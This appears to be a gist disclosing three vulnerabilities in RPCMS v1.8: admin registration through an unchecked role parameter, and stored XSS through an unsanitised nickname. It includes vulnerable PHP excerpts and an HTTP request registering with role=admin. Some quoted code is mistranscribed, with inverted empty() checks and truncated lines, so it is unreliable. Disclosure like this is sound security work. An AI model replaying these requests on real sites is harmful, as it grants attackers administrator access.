

victomteng1997 / 0001.jpg Secret

Last active last year

☆ Star

<> Code ↗ Revisions 8

RPCMS CVE Submission

0001.jpg

Request

Pretty Raw Hex ↕

```
1 GET /author/1 HTTP/1.1
2 Host: localhost:81
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
4 Accept: image/webp, */*
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Referer: http://localhost:81/author/1.html
9 Cookie: PHPSESSID=88he4jakoj2bgioosrk35kg85; XDEBUG_SESSION=19204
10 Sec-Fetch-Dest: image
11 Sec-Fetch-Mode: no-cors
12 Sec-Fetch-Site: same-origin
13
14
```

Response

Pretty Raw Hex

```
1 HTTP/1.1 200
2 Date: Tue, 20
3 Server: Apache/2.4.18
4 X-Powered-By: PHP/5.6.33
5 Expires: Thu, 01 Jan 1970 00:00:00 GMT
6 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
7 Pragma: no-cache
8 Connection: close
9 Content-Type: text/html; charset=utf-8
10 Content-Length: 1024
11
12 <!doctype html>
13 <html>
14 <head>
15 <meta charset=utf-8>
16 <title>RPCMS 1.8
17 </title>
18 <meta name=viewport content=width=device-width,initial-scale=1>
19 <meta name=author content=Zhang Zhiyi>
20 <link href=/static/css/main.css rel=stylesheet>
21 <script src=/static/js/main.js></script>
22 <style>
```

0002.jpg

Request

Pretty Raw Hex ↕

```
1 POST /api/Member/register HTTP/1.1
2 Host: localhost:81
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=88he4jakoj2bgioosrk35kg85; XDEBUG_SESSION=12050
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: none
13 Sec-Fetch-User: ?1
14 Content-Type: application/x-www-form-urlencoded
15 Content-Length: 97
16
17 username=user002&password=test001&nickname=user002&role=admin&email=xxx1@qq.com&phone=18888888883
```

Response

Pretty Raw Hex

```
1 HTTP/1.1 200
2 Date: Tue, 20
3 Server: Apache/2.4.18
4 X-Powered-By: PHP/5.6.33
5 Expires: Thu, 01 Jan 1970 00:00:00 GMT
6 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
7 Pragma: no-cache
8 Connection: close
9 Content-Type: application/json; charset=utf-8
10 Content-Length: 102
11
12 {
13   "code":200,
14   "message":,
15   "data":4
16 }
```

CVE_submission.md

RPCMS CVE Submission

Official Website: <https://www.rpcms.cn/>, <https://github.com/ralap-z/RPCMS/>

Version v1.8: <https://github.com/ralap-z/rpcms/tree/74c49c4df0e0ac6b187def23bb2dedef40990dce> (updated on 12th July 2021, latest version)

Audited on 20th July, 2021, credit to Zhang Zhiyi.

The source code can also be downloaded in this gist (rpcms_1.8.zip) folder

For better understanding of the problems, in-line comments are added in the key parts of source code after `//` sign.

Vulnerability 1: Admin User Registration

When API is enabled, the registered user is normal user by default. However, user can manually set the role to be `admin` to register as admin user.

```
//system/api/Member.class.php
public function register(){
    $data=array();
    $data['username']=empty(input('post.username')) ? strip_tags(input('post.username')) : '';
    $data['password']=empty(input('post.password')) ? strip_tags(input('post.password')) : '';
    $data['nickname']=empty(input('post.nickname')) ? strip_tags(input('post.nickname')) : $data['username']
    $data['role']=empty(input('post.role')) ? strip_tags(input('post.role')) : 'member';// normal user acce
    $data['email']=input('post.email');
    $data['phone']=input('post.phone');
    $data['status']=0;
    $data['isCheck']=1;

    ...

    $data['password']=psw($data['password']);
    $res=Db::name('user')->insert($data);
    Cache::update('user');
    Hook::doHook('api_member_register',array($res));
    $this->response($res,200,'注册成功! ');
}
}
```

Trigger the vulnerability (0002.jpg)  [bypass](#)

Vulnerability 2: Stored XSS1

In the following code, `$title` is displayed directly without sanitizing, resulting in stored XSS. Specifically, it can be triggered at `|0|` and `|1|`.


```
//system/index/Author.class.php
public function index(){
    if(!isset($this->params[1]) || empty($this->params[1])){
        redirect($this->App->baseUrl);
    }
    $data=explode('_', $this->params[1]);
    $page=isset($data[1]) ? intval($data[1]) : 1;
    $user=Cache::read('user');
    if(is_numeric($data[0])){
        $userId=intval($data[0]);
    }else{
        $user2=array_column($user,NULL, 'nickname');
        $userId=isset($user2[$data[0]]) ? $user2[$data[0]]['id'] : '';
    }
    if(empty($userId) || !isset($user[$userId])){
        rpMsg('当前作者不存在! ');
    }
    $LogsMod=new LogsMod();
    $logData=$LogsMod->page($page)->order($this->getLogOrder(array('a.isTop'=>'desc')))->author($userId)->select();
    $logData['count']=$user[$userId]['logNum'];
    $title=$user[$userId]['nickname'];// nickname from the user
    $pageHtml=pageInationHome($logData['count'],$logData['limit'],$logData['page'],'author',$userId);
    $this->setKeywords();
    $this->setDescription('关于作者: '.$title.'的一些文章整理归档'); //|0|
    $this->assign('title',$title.'-'. $this->webConfig['webName']); //|1|
    $this->assign('listId',$userId);
    $this->assign('listType','author');
    $this->assign('logList',$logData['list']);
    $this->assign('pageHtml',$pageHtml);
    return $this->display('/list');
}
}
```

It can be seen that variable `nickname` can be used by the attacker. By tracing the usage of `nickname` before loading into database:

function update user password: `updatePsw`

```
public function updatePsw(){
    $nickname=input('post.nickname');
    $password=input('post.password');
    $password2=input('post.password2');
    if(empty($nickname)){
        return json(array('code'=>-1, 'msg'=>'昵称不可为空'));
    }
    if(empty($password) && $password != $password2){
        return json(array('code'=>-1, 'msg'=>'两次密码输入不一致'));
    }
    $update=array('nickname'=>$nickname);
    if(empty($password)){
        $update['password']=psw($password);
    }
    if($res=Db::name('user')->where('id='.$this->user['id']->update($update)){
        Cache::update('user');
        return json(array('code'=>200, 'msg'=>'修改成功', 'data'=>empty($password) ? 1 : 0));
    }
    return json(array('code'=>-1, 'msg'=>'修改失败, 请稍后重试'));
}
}
```

It can be seen that `nickname` variable is not properly sanitized, taking the direct post input. A stored XSS can be found here.

Trigger the vulnerability: (0001.jpg) 

Vulnerability 3: Stored XSS

Similar to vulnerability 2, after enabling API, users can update to variable `nickname` directly through API without strip tags. Once `nickname` is updated, a stored xss can be triggered when user view articles.

```
//system/api/Member.class.php
public function post(){
    $this->checkAuth(true);
    $nickname=input('post.nickname'); //no filtering
    $password=input('post.password');
    $password2=input('post.password2');
    if(empty($nickname)){
        $this->response('',401,'昵称不可为空');
    }
    if(!empty($password) && $password != $password2){
        $this->response('',401,'两次密码输入不一致');
    }
    $update=array('nickname'=>$nickname);
    if(!empty($password)){
        $update['password']=psw($password);
    }
    if($res=db::name('user')->where('id='.$self::$user['id'])->update($update)){
        Cache::update('user');
        Hook::doHook('api_member_post',array(self::$user));
        $this->response('',200,'修改成功');
    }
    $this->response('',401,'修改失败');
}
```

 [rpcms_v1.8.zip](#)

This file has been truncated, but you can [view the full file](#).

[View raw](#)